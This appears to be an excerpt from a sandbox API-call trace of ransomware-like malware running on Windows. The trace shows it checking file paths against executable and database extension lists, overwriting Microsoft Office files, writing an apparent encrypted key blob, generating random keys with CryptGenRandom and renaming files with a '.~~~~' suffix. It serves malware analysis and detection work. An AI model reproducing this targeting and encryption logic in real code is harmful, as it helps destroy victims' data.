	[0145.991] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.992] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.992] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.993] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.993] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.993] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.993] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.993] CloseHandle (hObject=0x10c) returned 1
	[0145.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0210
	[0145.993] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.~~~~")) returned 1
	[0145.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0145.996] GetLastError () returned 0x0
	[0145.996] RtlWakeConditionVariable () returned 0x365f70
	[0145.996] GetCurrentThreadId () returned 0x3a4
	[0145.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.996] lstrlenW (lpString=".cmd") returned 4
	[0145.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.996] lstrlenW (lpString=".dll") returned 4
	[0145.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.996] lstrlenW (lpString=".bat") returned 4
	[0145.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.996] lstrlenW (lpString=".cpl") returned 4
	[0145.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.996] lstrlenW (lpString=".sys") returned 4
	[0145.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.996] lstrlenW (lpString=".msc") returned 4
	[0145.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.996] lstrlenW (lpString=".com") returned 4
	[0145.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".com") returned 0x0
	[0145.997] lstrlenW (lpString=".lnk") returned 4
	[0145.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.997] lstrlenW (lpString=".msp") returned 4
	[0145.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.997] lstrlenW (lpString=".pif") returned 4
	[0145.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.997] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.999] lstrlenW (lpString=".sqb") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.999] lstrlenW (lpString=".ost") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.999] lstrlenW (lpString=".txt") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.999] lstrlenW (lpString=".mdt") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.999] lstrlenW (lpString=".BDB") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.999] lstrlenW (lpString=".eql") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.999] lstrlenW (lpString=".DBF") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.999] lstrlenW (lpString=".EQL") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.999] lstrlenW (lpString=".FDB") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.999] lstrlenW (lpString=".EDB") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.999] lstrlenW (lpString=".DACPAC") returned 7
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.999] lstrlenW (lpString=".VHD") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.999] lstrlenW (lpString=".DBV") returned 4
	[0145.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.999] lstrlenW (lpString=".dacpac") returned 7
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0146.000] lstrlenW (lpString=".sdf") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0146.000] lstrlenW (lpString=".accdb") returned 6
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0146.000] lstrlenW (lpString=".DBX") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0146.000] lstrlenW (lpString=".MDT") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0146.000] lstrlenW (lpString=".SQB") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0146.000] lstrlenW (lpString=".vhd") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0146.000] lstrlenW (lpString=".bac") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0146.000] lstrlenW (lpString=".mdf") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0146.000] lstrlenW (lpString=".BAK") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0146.000] lstrlenW (lpString=".BAC") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0146.000] lstrlenW (lpString=".dbs") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0146.000] lstrlenW (lpString=".vhdx") returned 5
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0146.000] lstrlenW (lpString=".NDF") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0146.000] lstrlenW (lpString=".dat") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0146.000] lstrlenW (lpString=".DBS") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0146.000] lstrlenW (lpString=".CKP") returned 4
	[0146.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0146.001] lstrlenW (lpString=".edb") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0146.001] lstrlenW (lpString=".PST") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0146.001] lstrlenW (lpString=".dbf") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0146.001] lstrlenW (lpString=".SQL") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0146.001] lstrlenW (lpString=".pst") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0146.001] lstrlenW (lpString=".dbv") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0146.001] lstrlenW (lpString=".SDF") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0146.001] lstrlenW (lpString=".dtxs") returned 5
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0146.001] lstrlenW (lpString=".db3") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0146.001] lstrlenW (lpString=".OST") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0146.001] lstrlenW (lpString=".dbx") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0146.001] lstrlenW (lpString=".DB3") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0146.001] lstrlenW (lpString=".DAT") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0146.001] lstrlenW (lpString=".VHDX") returned 5
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0146.001] lstrlenW (lpString=".ndf") returned 4
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0146.001] lstrlenW (lpString=".DB") returned 3
	[0146.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0146.002] lstrlenW (lpString=".sql") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0146.002] lstrlenW (lpString=".MYD") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0146.002] lstrlenW (lpString=".DBT") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0146.002] lstrlenW (lpString=".ACCDB") returned 6
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0146.002] lstrlenW (lpString=".fdb") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0146.002] lstrlenW (lpString=".bak") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0146.002] lstrlenW (lpString=".myd") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0146.002] lstrlenW (lpString=".DTXS") returned 5
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0146.002] lstrlenW (lpString=".ckp") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0146.002] lstrlenW (lpString=".dbt") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0146.002] lstrlenW (lpString=".db") returned 3
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".db") returned 0x0
	[0146.002] lstrlenW (lpString=".TXT") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0146.002] lstrlenW (lpString=".MDF") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0146.002] lstrlenW (lpString=".bdb") returned 4
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0146.002] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0146.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.003] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395f38) returned 1
	[0146.004] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.004] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0146.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0146.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0146.004] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26599396941) returned 1
	[0146.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc06dbf90, dwHighDateTime=0x1d60e1e)) 
	[0146.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380510
	[0146.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380510 | out: hHeap=0x300000) returned 1
	[0146.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d04b0
	[0146.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7090
	[0146.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d04b0 | out: hHeap=0x300000) returned 1
	[0146.005] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0146.005] GetLastError () returned 0x0
	[0146.005] GetLastError () returned 0x0
	[0146.005] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0146.005] GetLastError () returned 0x0
	[0146.005] GetLastError () returned 0x0
	[0146.005] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0146.006] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.006] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0146.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.007] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.007] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.007] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.007] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.007] CloseHandle (hObject=0x10c) returned 1
	[0146.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d04b0
	[0146.007] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.~~~~")) returned 1
	[0146.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d04b0 | out: hHeap=0x300000) returned 1
	[0146.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0146.010] GetLastError () returned 0x0
	[0146.010] RtlWakeConditionVariable () returned 0x365f70
	[0146.010] GetCurrentThreadId () returned 0x3a4
	[0146.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".scr") returned 0x0
	[0146.010] lstrlenW (lpString=".cmd") returned 4
	[0146.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".cmd") returned 0x0
	[0146.010] lstrlenW (lpString=".dll") returned 4
	[0146.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".dll") returned 0x0
	[0146.010] lstrlenW (lpString=".bat") returned 4
	[0146.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".bat") returned 0x0
	[0146.010] lstrlenW (lpString=".cpl") returned 4
	[0146.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".cpl") returned 0x0
	[0146.010] lstrlenW (lpString=".sys") returned 4
	[0146.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".sys") returned 0x0
	[0146.010] lstrlenW (lpString=".msc") returned 4
	[0146.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".msc") returned 0x0
	[0146.011] lstrlenW (lpString=".com") returned 4
	[0146.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS", lpSrch=".com") returned 0x0
	[0146.011] lstrlenW (lpString=".lnk") returned 4
